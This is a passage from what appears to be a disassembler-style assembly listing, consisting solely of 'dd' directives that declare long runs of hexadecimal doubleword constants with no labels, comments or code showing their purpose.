		dd 0D66D09B6h, 1655D701h, 0E95C1DE7h, 0AD2264A4h, 0BD4A55F0h
		dd 39C7A990h, 76162767h, 44EFA9E1h, 0C2AFA208h,	61C801AEh
		dd 0E6ED86Fh, 270E4A0h,	564FD72Dh, 8C05745Ch, 0F265E7CCh
		dd 413D72F8h, 0FDA50Eh,	8076B24Fh, 0C04209CAh, 20DC07E2h
		dd 61EFB462h, 0C86F85EEh, 0FF64E924h, 63024806h, 0A8F4CC20h
		dd 0E292AD1Dh, 0DAE0C256h, 89DF82D5h, 0D2897E1Ah, 24B130C1h
		dd 38B1D3FCh, 950F15h, 8891F380h, 0E7F65BD9h, 9554B8F4h
		dd 7D56A3BAh, 0E3385AC3h, 0C101996Ah, 30B808A4h, 0CF8DAF08h
		dd 91A27BE1h, 1C91B9B4h, 93203068h, 593F8930h, 14AB3157h
		dd 1FEEE76Fh, 0A1A00868h, 42350145h, 56971FBCh,	106FFDB6h
		dd 158CEE5h, 0E68BBD27h, 0B79716DDh, 0FBAFC9EDh, 0B6F37BFh
		dd 0E9D00F54h, 0BBD9BC13h, 0E96E4E72h, 797D8440h, 393C4B9h
		dd 0D12DED12h, 2F678095h, 434E3D0Fh, 0A12EE86h,	64B05A8Fh
		dd 342D05A8h, 0E1BE00D5h, 451321EAh, 0FB1A4960h, 6B12B4C8h
		dd 85AB3801h, 0F100E7E6h, 31136778h, 4AB2E9FBh,	9C13E34Ch
		dd 2703E3D7h, 4CAF54E9h, 1D7349C1h, 0DE643805h,	655535Dh
		dd 119B1BFDh, 87EA2FCh,	0E52A016Ah, 2DEB4208h, 0AFBC5B5Eh
		dd 5C7C8490h, 317C2FA3h, 0D12B9A8Eh, 96FBBD5Ah,	17348AF4h
		dd 6D2C7681h, 2FF93ADDh, 0F4ACB624h, 0E014F88Ch, 0A10474D8h
		dd 0CC2A31D3h, 2DD7C975h, 3EE840BEh, 6859B326h,	0DB77BA2Ah
		dd 3645E620h, 863EC6BBh, 0AEC4D364h, 4C5EF7D8h,	0BD07ED55h
		dd 4020CF3Fh, 0DF30C047h
		dd 0AA5CE912h, 0EA7995BFh, 440465C5h, 0ACA5BE14h, 292EF06Eh
		dd 10A07903h, 5E2DF581h, 802C840Dh, 0D717D887h,	0AEA54E5Ah
		dd 0F55E0802h, 803F8616h, 79680BC3h, 5987F08h, 0E212D0B0h
		dd 0EE4E8FE9h, 1EA89250h, 0A45A325Fh, 2A8530CBh, 0CF19B001h
		dd 9E060E04h, 348E058Ch, 302C10B8h, 0C61C1780h,	188CAA08h
		dd 8515B31h, 188C41A6h,	87081A0Fh, 75189A63h, 990818BDh
		dd 53A61829h, 34108C4h,	20B8EE06h, 20763E20h, 0BF202E58h
		dd 91B16F66h, 0B13D9A88h, 864D082Ch, 8864EF01h,	0C91CA20h
		dd 7A105F23h, 63213D40h, 71DD0845h, 4EE31810h, 91132719h
		dd 0D1188CE7h, 40AA08CBh, 0DB401252h, 48F1C6ABh, 94059F6h
		dd 2A91C5AFh, 4A804CB0h, 586ED908h, 0DCD0818h, 0F5104641h
		dd 0F21D018Dh, 2A6DB053h, 3188C208h, 5D10574Ch,	18100352h
		dd 883FE49h, 0F2839DA9h, 40F60215h, 216DA02h, 6503233Fh
		dd 45481959h, 0BD24D9AAh, 82DB118h, 1888FDAEh, 860C71A1h
		dd 63CF10E9h, 38B00861h, 10827131h, 888F165h, 0E33967C1h
		dd 18E23891h, 8EC5610h,	0F80D1E0h, 0D40C8055h, 80913E80h
		dd 38C65108h, 24089425h, 9010F7A4h, 143524C5h, 2371A398h
		dd 0F169DC2Eh, 88C36B08h, 0C95D018h, 2D10D3D9h,	568AA0A8h
		dd 0BEBD08C6h, 7739C649h, 0B4320870h, 293E965h,	31038B80h
		dd 73F9204Ch, 8841433h,	0E429189Ah, 0C9BA084Eh,	80AEEA80h
		dd 28C49BBCh, 4D0456ACh, 0F0D60AC8h, 88F7788h, 21088949h
		dd 54320CB1h, 0DCA86E08h, 10C4D2E1h, 55045DCEh,	8EC6044Bh
		dd 6B45C04h, 2008FE57h,	51FB489Ah, 192C8E0h, 10887F20h
		dd 970C788Fh, 0C901086Bh, 6C23B489h, 28186FCBh,	0C2084DA0h
		dd 0F018CAD5h, 315D99F8h, 0B23424A5h, 3F31F492h, 0CED71085h
		dd 93C1E701h, 0C44F108h, 0C9093995h, 45B904A2h,	55F6002h
		dd 0CADC447Fh, 1B204A5h, 647D404h, 650831EBh, 44AF116Eh
		dd 67C169Ch, 31101D4Dh,	5E085A56h, 8185010Fh, 52DDB01h
		dd 82080518h, 0A87492DAh, 0CC6CEF08h, 7BA14A08h, 0F3109864h
		dd 38303891h, 0E8A31B02h, 10247269h, 0CB983083h, 0D38617F1h
		dd 8C81908h, 608C505Eh,	32F5FC9Ch, 0C7158A4h, 26474AEFh
		dd 0E4C7788Bh, 10446762h, 752CC03Bh, 1331EB02h,	0A7B90E89h
		dd 5003DBDh, 408F4401h,	0C9040B49h, 748BF775h, 0DE098FA8h
		dd 10D5F003h, 0F0C033E3h, 4FB1190Fh, 2FAC2C30h,	38EE4E14h
		dd 2CD01DC2h, 4285D627h, 4230138h, 810C0154h, 710982C5h
		dd 528B601Eh, 1F1C0590h, 6F4DE929h, 0C0DE264Fh,	0C93C1AB4h
		dd 0AD465F0Eh, 8068523Ch, 5A2B5044h, 0C7D8CEE9h, 0D0515664h
		dd 135817D1h, 668059B7h, 0E91940FFh, 5E124F6Bh,	6CAFC37Fh
		dd 0D480358Ch, 5E5775C7h, 1DAC12Fh, 30285DCAh, 4907BDD9h
		dd 70E92C1Bh, 4C517DCh,	0C672848h, 184EE01h, 0BEE90804h
		dd 1D61B9F5h, 0B2FCC77Bh, 0ADD621CCh, 0C9E4E8Ch, 3D9378B8h
		dd 711851D4h, 0B35314ECh, 0EB80D207h, 837C087h,	0DEE765E2h
		dd 1C2802Dh, 68537540h,	9810D22Dh, 2D4E820Fh, 0E505A2Ch
		dd 0F4DD0927h, 40AE2510h, 60466BABh, 280DAD81h,	0CEC24A2Ah
		dd 25DB7616h, 0C19E9C75h, 6A13FF0Ch, 0BAC47F3Eh, 744398BBh
		dd 0B98C694Ah, 99CF0581h, 0B54EAB75h, 9683053h,	0B8A32250h
		dd 93653E38h, 3A98FD01h, 9D2D7BD7h, 7F7257F9h, 713EE440h
		dd 0E90B6406h, 0F8205AF4h, 60A0EEF3h, 88ED3BC1h, 644B2409h
		dd 7E39FAE8h, 8AC052ADh, 26CE9D44h, 513CC55Bh, 0F498A5F8h
		dd 813946F2h, 57CA033Eh, 0C71BD10Ah, 4AD8F3B6h,	0B52BA3Fh
		dd 4F99BAh, 3815E1DAh, 5EFC465Bh, 2F3B4170h, 0C26F18A1h
		dd 0A3DCE301h, 0E4B81713h, 8D87E909h, 0AF0AA64h, 5C123696h
		dd 5725F28Ah, 6804DFC6h, 367D26E2h, 0DC95D8BAh,	5F532392h
		dd 22ED02CFh, 57663251h, 801024Ah, 57EA2AE9h, 30F28132h
		dd 4CF37A01h, 0FA529404h, 0D8C45C03h, 0C4EAB4A8h, 0B59B0039h
		dd 0E9646172h, 4C9C5A30h, 97A44BFh, 0DF311786h,	0C7C0E3FCh
		dd 2433434Ch, 7164F01h,	7917A5E9h, 0B5D9473Bh, 0B1530313h
		dd 0C817439h, 0F5C66005h, 6E846B8Bh, 9790F012h,	0C952FBE9h
		dd 8F04D5CBh, 46CCAEEFh, 0BC716E9h, 9761BB01h, 0BB0C0A1Eh
		dd 88282509h, 262BFD30h, 0D7DB2101h, 0E9A13B77h, 1CD92920h
		dd 954DE921h, 0F14ADF1Ch, 48E7C1A7h, 8A4049E4h,	46EE0181h
		dd 19F7651h, 0E99385F1h, 67ACF694h, 31BC43C6h, 0E03B5BCh
		dd 6171155h, 120A3970h,	8011D76h, 35B55B0Bh, 10BE5C29h
		dd 190C6C29h, 2752CC8Bh, 76E982AAh, 8AB6D1CAh, 42B8912Dh
		dd 0BA05D6F8h, 0D329AF20h, 0FB87245Ah, 0E90830A4h, 0C9B288Bh
		dd 80186812h, 0A329B45Fh, 2DE890B6h, 69630CEAh,	0AD05D59h
		dd 17337806h, 0F1FADBF7h, 79D32AADh, 5D124A28h,	50FA3E87h
		dd 0E916088Ah, 4E4AEC4Fh, 8EB8A056h, 243CFBA5h,	970E675Ah
		dd 3FE573F7h, 0B4510987h, 4D3FE950h, 0F112367Eh, 0C40CF95Eh
		dd 0CAAAAD54h, 0C9825FC7h, 0FE597557h, 0D5ED0C42h, 0A9715F12h
		dd 25BB5AA7h, 0C66FC34h, 0B02A557Ah, 883C9646h,	0F97E17EBh
		dd 8B12ACF3h, 6969EF3Ch, 0B477FC2Ah, 82141AD7h,	0FB25FE10h
		dd 0FA0F4172h, 0E63D1869h, 0F67A05FEh, 0C3D29FF6h, 0B83D939Ah
		dd 0CF74BDEAh, 5F0695C6h, 41DB0102h, 705822CEh,	808F36Ch
		dd 0A00152A3h, 0B531FE08h, 0E90578F1h, 5F990192h, 98FE32Eh
		dd 0F559CE29h, 99E9A798h, 41E36B4Eh, 1C1AB490h,	0CC325002h
		dd 568016D9h, 1541C2BEh, 0E6810351h, 2FC15B5Ch,	7076F6B0h
		dd 0E945B704h, 540E22C4h, 0D4887CC4h, 0BAC484D1h, 0E90B37E6h
		dd 3846D7A4h, 51C86818h, 95E5661Dh, 212C0C44h, 3B1001D0h
		dd 8A73FC4Bh, 54A5C196h, 6DABEFEBh, 55CA4D90h, 3C943A02h
		dd 4002EAC1h, 1422E291h, 0E8427260h, 0AF751B24h, 0DC03FFF4h
		dd 240F676h, 0B102AB0Ch, 14555865h, 13A99013h, 6497D3Eh
		dd 460C9004h, 0B050520Eh, 57F66B77h, 35B0391Ah,	707E0C0h
		dd 0C2884A2Ch, 6B0868E1h, 0A846CC2Fh, 0F5BF1060h, 161D3CF9h
		dd 64EE0147h, 51B3BF60h, 0D8585485h, 7D172D51h,	1F0C4A67h
		dd 2DFB6D0h, 0C16B6512h, 807606EFh, 0C8436B2Dh,	5FB3EAEEh
		dd 2F42E1D3h, 0F22F2629h, 8368093Ch, 0A5147D07h, 8C287A85h
		dd 136F2941h, 4F62B31Fh, 8BDA2E8h, 1C13D0BBh, 2D0C764Dh
		dd 1609544Ah, 0EF4B58C3h, 8085F742h, 46E1FF02h,	0AD893B64h
		dd 9B1C1C82h, 91C0E606h, 785C5839h, 59E90D97h, 823F2A75h
		dd 0E65F2D7Bh, 25CCB5D1h, 4E9133FAh, 0E9855FA3h, 3B528F15h
		dd 4F04D81Dh, 5CFA28DEh, 42E7C221h, 11C12B8Fh, 61ED2147h
		dd 0A408BC01h, 491061CBh, 0BE2B612h, 21289652h,	0B5518784h
		dd 0E3DEE7E4h, 0A875708h, 0A77DE9B9h, 0B4307758h, 3B33C905h
		dd 4D5551E9h, 4B169CE0h, 232CEB01h, 5B550953h, 7102455Dh
		dd 8C0A028Ch, 0D5BC1B2Dh, 0AA257B04h, 2AF80413h, 67AA1787h
		dd 105EC2FFh, 21FC6C75h, 42BC56B1h, 67E95D04h, 6A309926h
		dd 81D1884Ch, 20B20752h, 333ACA80h, 63C01C2h, 32F28308h
		dd 84FA53E9h, 4099A3BEh, 0EA316823h, 0D38ABB13h, 0D505ED27h
		dd 0FE0A6B67h, 9A092B04h, 0C26265D7h, 2CFFADF1h, 0D245FD2Ah
		dd 0EA13BEF6h, 0D2F9EC5Dh, 0E9E7D0EAh, 0A3959B1Ah, 50988D65h
		dd 0C103100Ch, 0B737C444h, 89A12A35h, 4FA89480h, 0CF812604h
		dd 8F0EF90Ch, 4A20C49h
		dd 0F775C51Fh, 7566FCDFh, 0AC842D01h, 0AF03E9B8h, 68829C28h
		dd 0EC7F3807h, 0BEF132E4h, 0E0FDE8B1h, 0F91E2C4Ah, 824015A5h
		dd 3E91707Fh, 46DB200h,	0B1D0289Dh, 0A77FA588h,	0F3B35952h
		dd 510BCF43h, 944CBDEFh, 81557130h, 2575E1C3h, 1022D7FBh
		dd 11AC6EBh, 4F041538h,	2239E90Bh, 1E5B89C8h, 0CC7AA042h
		dd 0C717307Bh, 0C832370Ah, 0A2079E1Dh, 4D874F3Fh, 0E88BE5D3h
		dd 35E913EBh, 0AB96060Dh, 6E2D0C12h, 7460F9F9h,	7C29124Ch
		dd 635FAB73h, 18C3312h,	5DAAAAB7h, 487D5E62h, 2714C88Ah
		dd 0FE01654h, 399FE0A2h, 23725641h, 4E109010h, 8EC01FC1h
		dd 68C21338h, 4E480523h, 5A80E171h, 0ACC99929h,	0C79F58D9h
		dd 4103E69Fh, 35DF03Ch,	614B8382h, 0EEA6E765h, 7FCA82ECh
		dd 0E8C66B64h, 1458806h, 200501C0h, 0F5643C04h,	6954DEB2h
		dd 0A733DBE9h, 4A53A576h, 0DB75EF07h, 16F28652h, 901EC119h
		dd 3AEED559h, 0E2A49FE8h, 4DE917C8h, 0A2EDEE53h, 16BA718Eh
		dd 20B2EF7Fh, 17DF0927h, 0E87D1910h, 286FDD79h,	1DD871DEh
		dd 0AD7A2F7Eh, 0BBC195D6h, 39E16682h, 1209C720h, 0D05FCF38h
		dd 3E1A5A36h, 7C015110h, 100A2468h, 0E90C0629h,	16A63FD6h
		dd 0B813E768h, 9B04D24Ah, 0B7004C79h, 0A6B15148h, 0C1A28095h
		dd 0B7CF2008h, 0E9716240h, 3F606A32h, 0EFC4B8E7h, 0A4514C5Dh
		dd 38AC04D6h, 0BF31EE1Eh, 3D32EE1Fh, 2B80D525h,	56D9EA81h
		dd 4C4BA93Ch, 1CE7197Bh, 0C870F61Ah, 0CCB6260Fh, 63930B06h
		dd 6E782F5Ch, 0A38082F6h, 626F7EFAh, 29E729Dh, 0BBB951C2h
		dd 0C7E0354Dh, 0DA9D02E9h, 5C1A0A3Eh, 3C552F3h,	21E15469h
		dd 0E2E5180Eh, 0CA01464Fh, 72625CAh, 25337F46h,	22F3F918h
		dd 0FABDEACEh, 91266FEFh, 838A68CBh, 5C9A8921h,	0EF7E02Bh
		dd 27416219h, 0EDA1C0F8h, 85BE02A9h, 5DEE21B6h,	0C6F4F242h
		dd 426FBB00h, 0EB85065h, 7666182Dh, 53272481h, 39E02F0Fh
		dd 217EC93Bh, 0C2BFB25Dh, 6ED414Ch, 89DA8140h, 0C03E4AF0h
		dd 774C0566h, 4415672Eh, 4B072D14h, 7DEA4E13h, 7296201Ah
		dd 11424814h, 0BFF520ECh, 7FDFD3C0h, 3FF09D65h,	613D835Ah
		dd 0B507DE37h, 1FF2B8D5h, 0A90B55F5h, 0EA25902Dh, 13673982h
		dd 8001BE51h, 6AE07152h, 7FE91A47h, 96DFEA10h, 47D12DDEh
		dd 0C2CFE559h, 0FF012822h, 0AE989A16h, 90A5BC20h, 0B978BF55h
		dd 3DD0ECE9h, 90507B9Eh, 0C117C02Dh, 0A4FBF9E3h, 0B1CC2A0h
		dd 0C622BC9Ah, 2AEEEC01h, 76D30D20h, 8482B93Eh,	8D5F4168h
		dd 3122892Ah, 779BD5FDh, 0C3276CC9h, 0D50CF885h, 0F6984A61h
		dd 8C965E2Fh, 53756B6Eh, 0F0293A19h, 0E67E23B4h, 0A1E55090h
		dd 0F0AD44BDh, 10366047h, 0F380C6B3h, 0DD88D61Fh, 183D2D3Ah
		dd 0A538F93Fh, 0CC57128Bh, 1844FC82h, 0A290FCFh, 9B6A2D05h
		dd 396DACA7h, 0EEE48358h, 0F79A7E46h, 1BB0510h,	0FF6B6D6Eh
		dd 5BF5FC8h, 13324538h,	324B8731h, 637E58C7h, 0FD9DE22Fh
		dd 0F3959AEEh, 1C7D4B1Ch, 72E9183Dh, 10BBAA15h,	0DF892BC2h
		dd 0B5AF465Bh, 825DBF0Bh, 0F254F89Ah, 0D1332028h, 6DE74B50h
		dd 1F89CB54h, 0FB71A7BFh, 18926DCEh, 8098D03Ah,	0EEE608CEh
		dd 0E6C0F118h, 0E0D2C60Ch, 0ED5A5BF0h, 0E99481DDh, 1021DDFh
		dd 5C099C74h, 0B195C839h, 31F13D5Dh, 0A403CF93h, 0A000918h
		dd 48BBE3BCh, 0F514B70Eh, 9701B160h, 0A7A09DDBh, 0F15A889Ch
		dd 7BF7A00Ah, 6FC80563h, 0C89FF5E9h, 0A4F0034Ah, 57022096h
		dd 0A5554C68h, 9BB14381h, 2BB9B928h, 3CD56BACh,	0FBFEC413h
		dd 0F6385336h, 3CDF6594h, 11948042h, 225AF673h,	0A88216F1h
		dd 0E0F649Eh, 3D724640h, 0E9105404h, 0A6A26B7Dh, 0BE316817h
		dd 0CB28734h, 68FBE9E1h, 0CDBE0356h, 5856DA5Fh,	0FD175F28h
		dd 59B0B855h, 1B568B4Bh, 9B0EE8Fh, 31F77B5Bh, 0EF122CFEh
		dd 97FC9213h, 0B0813E69h, 7010201Fh, 2B69B2A8h,	256AF36Eh
		dd 11A449F3h, 22846884h, 673ADB98h, 61C7CBAEh, 7BF4A3C6h
		dd 66589585h, 0C206FE62h, 4F17CE25h, 5502E077h,	0F278D824h
		dd 22C2B5D3h, 0A3514068h, 0F94FB730h, 14A7CC23h, 627A9D5Eh
		dd 52D5613Ch, 685E313Bh, 42856F71h, 0E9847AEDh,	3F91F1DCh
		dd 267A99F2h, 0C865E8FDh, 6C569D0Eh, 342F1B39h,	0D73064BFh
		dd 5D080A6h, 73004E97h,	26BF2D64h, 0C6552381h, 9F0B9926h
		dd 69A04C5Ch, 729ED559h, 0BDB71EBDh, 0A06C9B22h, 0AF0AC644h
		dd 0E450CA4Fh, 0CEF3F507h, 958B782Bh, 0EC5758C2h, 0EF9A2020h
		dd 0B21BE07h, 27A402F4h, 2DAF68D5h, 982040FEh, 2A508757h
		dd 0A2A606D3h, 1FEFBD0Fh, 0AF52FF2Eh, 5DF668A1h, 0A26A3351h
		dd 29A2315h, 9B50C8BEh,	3DA0FF5Dh, 36A32FF6h, 3680F49h
		dd 0BF4C5B25h, 0F82E0B7Eh, 3486AB6Fh, 34832DEh,	341D7D81h
		dd 0E6813F05h, 33283B0Eh, 8D10AB31h, 6219ACBDh,	2FD49C6Eh
		dd 1528430Ah, 23261216h, 579CFE8h, 0E96DAA31h, 5B84E035h
		dd 0EB6CD9B5h, 97F62D08h, 75D608ACh, 3EC3B565h,	208696C9h
		dd 585B6555h, 3168C528h, 54511264h, 13CA6F50h, 80C5277Ch
		dd 898BEE79h, 35B7473Ch, 0A462FD60h, 0B18E382h,	0B0CA0055h
		dd 0BF238A3Fh, 0F0B78278h, 0EB09BC7Bh, 0B9EE8E0Bh, 0E9D610BDh
		dd 3B6B41F0h, 8393D8D3h, 209D48E8h, 64970F20h, 8F2315Fh
		dd 814AAC8Dh, 2A44C763h, 0AA427134h, 5F6DCACDh,	69AB23E0h
		dd 5A642918h, 2E426396h, 0F91CADh, 23D82FF0h, 0F1550FE9h
		dd 14472550h, 7E30FF52h, 5D2ED81h, 1736441h, 949385F5h
		dd 9213FA76h, 45E1A810h, 3927C3CDh, 3D767959h, 2707289Ch
		dd 0E912B05Fh, 0F7DFAA73h, 0B3DE4942h, 0E2C14AE0h, 5AF7FE07h
		dd 30D33440h, 5CF968F5h, 45E92EA8h, 9B3D494Ch, 6034CBD6h
		dd 5876D65Dh, 0E69D154Bh, 8CE917E3h, 0C2964026h, 6B21577Dh
		dd 7E7DE1BDh, 0B85F9B38h, 4A6209E5h, 0F67007C5h, 7BF55F11h
		dd 627C9020h, 2EFA1A1h,	2225CCC7h, 0F0B6E988h, 0B453BF05h
		dd 7A979542h, 6B6CA889h, 2EB00D39h, 6BADE01h, 0EB588A08h
		dd 6003186Bh, 0B8689F0Ch, 0E5029542h, 209E2D7h,	0FDC3C4FBh
		dd 28F12893h, 0ADD83BF2h, 2D68E6E1h, 16D34DD0h,	17EF9388h
		dd 81C3255Ah, 6838331Bh, 8651C9D6h, 0D3BFFCh, 0C2A9BBF6h
		dd 5EF72960h, 5F595718h, 1398E1D0h, 177CA672h, 7515C86Ah
		dd 0D5F7312h, 5856C071h, 4A2C5900h, 789562E4h, 0C3CBE950h
		dd 0AB1DCE9h, 80D8A02Eh, 3095C509h, 59B554ECh, 0A00E7EDh
		dd 653141BAh, 0F8D70142h, 87236064h, 0A204DCC6h, 0B50C3C4Ch
		dd 999941EBh, 2E2BAC5Eh, 0E91238ECh, 0AB418417h, 68092BA3h
		dd 0E19A2536h, 500D7850h, 19DDD2E9h, 3980B07Bh,	70A44090h
		dd 0B98722CAh, 235F25A7h, 7A6886F0h, 6BCFC534h,	5E3B8CC7h
		dd 0F208F695h, 8969B2D5h, 7AC2FC2Eh, 5FA7FEF9h,	63493C8Eh
		dd 2F52AC27h, 0FEF9B760h, 0E73180C7h, 4EEF0B85h, 8866068Fh
		dd 0C85BDFDCh, 8A10E4EBh, 0F328A20Fh, 7BB0C36Eh, 88F6816h
		dd 38B07D33h, 0C337EE31h, 0CCE95224h, 5F279156h, 1492F795h
		dd 17CBC8EBh, 5A204D61h, 0FED0566h, 67312DD1h, 0E3E9CC89h
		dd 0CCD7F862h, 15144414h, 0F113C295h, 0C85EAFA5h, 0C3A50C58h
		dd 2E30EE93h, 0FE0109F8h, 8821990h, 92682AA1h, 79E36F36h
		dd 1FDACCD3h, 3B8DF25Dh, 0B68298DFh, 9BCEA63h, 5D716174h
		dd 15A24CDDh, 2F5F3D68h, 0DFA7E93Fh, 5FE0AF79h,	0BD49DD68h
		dd 0B6BFC7CCh, 7655C431h
		dd 20DDBFA4h, 76AA602Eh, 224F2146h, 81805CB9h, 64525CF5h
		dd 0DDF70C05h, 0EEA120E9h, 0B4E7BD3Ah, 7DD0CCF4h, 0E8B55B84h
		dd 43B296A6h, 0ED0EEBC9h, 0FB2CAE13h, 95D05221h, 330EA619h
		dd 0BFCA6420h, 2C50A501h, 5FFB290Dh, 3BE88540h,	8192BFFAh
		dd 41C080Dh, 0BD7E2317h, 4EFE03E0h, 0C8856295h,	2E5E649Ah
		dd 4CA0EA2h, 0FE76116Dh, 0D5E94380h, 0DF87C5B0h, 0A13CECECh
		dd 1362CF90h, 0EE6B1C04h, 81E0842Fh, 2B97D4B8h,	0F3BA7A34h
		dd 44225A7h, 4EB5DF5h, 0D06DFA10h, 160D6854h, 60E877C5h
		dd 14CA5B3h, 0A67E6C2Dh, 50A3D00h, 80D1212Ah, 6B16A5E1h
		dd 8DC03F66h, 0EA4BD987h, 0CAE8B538h, 9A9D33BEh, 0A51277B2h
		dd 0D987CB58h, 56BD268Bh, 8AAC8D9Eh, 47B82BD5h,	172440A2h
		dd 0F25AB7E8h, 6195C9BCh, 0DD8497Bh, 3F5C9A73h,	70CC059h
		dd 0E6B4B050h, 0E48405F5h, 7CF3CA85h, 0ACEC1A12h, 222EDE42h
		dd 134CC5A5h, 0E28BAF02h, 25A4E54Fh, 4AEFE3AFh,	0EB874008h
		dd 205C1BE9h, 0CAC89BF7h, 979D587Ah, 1C02F39h, 308111DFh
		dd 6068BABBh, 0D5A9E834h, 0DCBD24C0h, 0B787CC4Eh, 93F77D8h
		dd 0FFC295D1h, 195558FAh, 0FD5F246Eh, 0D7A5F895h, 232F6802h
		dd 448458CBh, 4B9EB837h, 9862E0C9h, 1AE95327h, 5E9350FEh
		dd 1A266851h, 5DD2340Ch, 71B85C00h, 0F7045DFDh,	24E946DEh
		dd 0A94A6BA8h, 2154885Ah, 0E95302FFh, 85595D29h, 0C2C26592h
		dd 172DF028h, 0F804A3B5h, 68F52F18h, 7B5AC7DAh,	85F0B594h
		dd 0E302C3FAh, 0E9FD3146h, 38465D36h, 3C677A81h, 6DB9027Fh
		dd 5D43E237h, 0B9004B89h, 0AAB5271h, 7CB1294Eh,	9EA70806h
		dd 0BE5EFA5Bh, 511C2CA0h, 2A92C588h, 13A9DEBh, 2B94E47h
		dd 0CE407529h, 0B1242372h, 1203C32Ch, 1F7A3B34h, 0D769A90Ch
		dd 1D02BB1Dh, 62CB71ACh, 67BDABFBh, 0EAA988C5h,	0CF0F6928h
		dd 0D625243Ah, 568E3A0Bh, 0D7DEC231h, 870B4064h, 0DD09B25Ch
		dd 1FADFEB0h, 38AE6DD4h, 16C632ECh, 0E1C10177h,	0AF017E07h
		dd 0E665FC9Fh, 0D709AC44h, 389C7F39h, 3B90C17Fh, 56EAC91Fh
		dd 0D03E1018h, 882A204Fh, 0E3685909h, 0B436B066h, 0A83E5E1Ah
		dd 45A4021Eh, 404E442Eh, 5AC4E937h, 82262708h, 590655CBh
		dd 53C3A9E2h, 5A784030h, 0DE4BE985h, 4ACCA0FEh,	170053BFh
		dd 291743F5h, 0BBBCE9FEh, 6984A617h, 0CEFFDC0h,	15D1AADh
		dd 80B30D6h, 0F62DAB45h, 3D1258AAh, 817E1897h, 9EEDB12Fh
		dd 4D934953h, 830928E6h, 0D119F55Fh, 7EBA4048h,	5F02A660h
		dd 0FD5009BBh, 5275C3Eh, 0CC0E11E9h, 55005681h,	7E3F1968h
		dd 5EC15D25h, 6BF9E0EDh, 66A74912h, 15C73B01h, 68E40E2Ah
		dd 43615213h, 7E400104h, 5401FF0Fh, 7FEC7099h, 25028760h
		dd 0B36283E9h, 350BCF40h, 0C8680CC2h, 8DF12Bh, 1E1BB850h
		dd 35001110h, 212C6BFAh, 6A03E0C1h, 904D0848h, 2BBE0158h
		dd 3163EA38h, 38739A2Ch, 770B7B2Fh, 325FDE29h, 0D0E948DDh
		dd 0FC3AE119h, 9ED8F5F1h, 0D5EA2780h, 0EBEC84D8h, 4F94D276h
		dd 0B450823Ah, 5DE0E933h, 0FA972494h, 4A97FEBAh, 513CE2F7h
		dd 0C2364195h, 0E6050488h, 52A8640Dh, 3B67BFC0h, 0BB0202F9h
		dd 75F80703h, 0C11D5401h, 2DCE21E9h, 1D4201A1h,	0FD292EA0h
		dd 802BD44h, 0F72D09E9h, 0ED90E594h, 259C0FCh, 5BA1732Ah
		dd 0B91F70D9h, 5E729C2h, 6E717D4Fh, 0B56EEF01h,	856AC2F9h
		dd 9E98EEBDh, 0B3E25B26h, 9AF91377h, 272A368Dh,	0BBE865EDh
		dd 3868EC98h, 9D704162h, 5E52C97Eh, 32A880Bh, 8418E326h
		dd 6259CBB5h, 322E4257h, 650069ECh, 0BE5F641Bh,	0C5699441h
		dd 0AD60477Ah, 27FF84C6h, 0FEF48007h, 0B122C467h, 22010C53h
		dd 21F58714h, 0E03B45F2h, 0EA5EB8Bh, 29629810h,	12BD55C5h
		dd 0C6CFE108h, 0A3ECB559h, 0A4E24AE9h, 0BE16EFAAh, 0D2573E64h
		dd 0AD84B697h, 0B22590Ch, 61742F19h, 0FFD85D6Ah, 0DB5AB5D6h
		dd 0EFC4E629h, 2BB10612h, 0C909D9ECh, 3C772DC6h, 5F799D10h
		dd 56B97DCBh, 0D16801F2h, 56B498F2h, 0B3B534E9h, 73C6C112h
		dd 0AB39CDh, 7D4901ECh,	1366BB53h, 0BC371463h, 0A22C1633h
		dd 8A66E659h, 2070572h,	3006F680h, 52E938E6h, 0DA29D9C5h
		dd 0B0818809h, 3E09A1FDh, 0AC99401Eh, 0D8581AABh, 20B707A7h
		dd 4F33DDC3h, 4C3B06Ah,	0F6CEF72Bh, 0AD40AB09h,	78E5129Eh
		dd 0E9F81331h, 4FAD8043h, 13F60597h, 35154E1Ch,	225A2B4Ch
		dd 0CDC94D27h, 0A763C381h, 3DA1F476h, 0B3EBF7C0h, 0B0586F6Ch
		dd 6EFC139Dh, 0FB770DDEh, 1C08061Ch, 300A1484h,	0EE447179h
		dd 9C7D4B02h, 22B4215h,	5E1FECEEh, 5BDF016Dh, 2003EFC1h
		dd 22FC47C9h, 7F613FF5h, 0BE00E6B8h, 7D2D6FA9h,	0FA52786Eh
		dd 727C4CA0h, 0EF49BFB0h, 89DF6628h, 111DEE01h,	0F8BDE931h
		dd 5ED3CA6Ah, 0E982A0A2h, 310511A8h, 0D728C6A4h, 7107AB11h
		dd 0C8BE01C2h, 90C28F2h, 39991B74h, 426F8682h, 6DFB2500h
		dd 0DC735048h, 7C4F172Ah, 58E4A84Dh, 0D1CD2DD2h, 365C82C6h
		dd 0EC5D5990h, 0CA8102A5h, 69E19ACh, 267FDFE0h,	4A4D3205h
		dd 0F785F0E9h, 412029BEh, 0A06E1360h, 3AC295B3h, 5FB965A5h
		dd 3B5CB3E1h, 947FF344h, 802580Bh, 6C370C5h, 0D7EB05A7h
		dd 36DCAB83h, 3538FEA5h, 252DEBA0h, 0A70B1D71h,	6FFBF04h
		dd 8B2A811Bh, 6D6FA60Fh, 382F2D03h, 630C0114h, 0E94B8E07h
		dd 2B687534h, 0E5ED0481h, 0B87A346Bh, 0BDB95A14h, 6128CB85h
		dd 9443ABDFh, 10B5D183h, 704CD941h, 0DCF6DA0Fh,	67F3D85Ch
		dd 0FB975FF9h, 0CC302D07h, 49C0611h, 9D5FFE70h,	0D322FA1Eh
		dd 0C359653Ch, 0FC9A2D57h, 2E997F50h, 997DB802h, 0C2C2E255h
		dd 0E90801B2h, 8F8CD802h, 0F03B2677h, 98C79744h, 0AE4F3DF2h
		dd 34FF9496h, 308E8DCFh, 0BB9DF851h, 1EAD99Ch, 840F80C7h
		dd 9FED5CE0h, 302CEED2h, 0B6EF4E96h, 0A22D7AD9h, 8BFA1323h
		dd 972AF39Ah, 0CFF02883h, 51007ECFh, 0DDF678B5h, 0EF3525E9h
		dd 0DE8920D9h, 0A535FB4Ch, 3C874982h, 38173BF3h, 5E9CEC4h
		dd 0D6B4E2D2h, 8804E895h, 8CE3B9E1h, 0D02A5F17h, 0E3B7535Eh
		dd 30DFF639h, 0C78004D7h, 46789F0Dh, 0C5A6E926h, 0EDC15A82h
		dd 0A451E005h, 0FB582E38h, 2F460292h, 0C9603FE3h, 0AA5C0207h
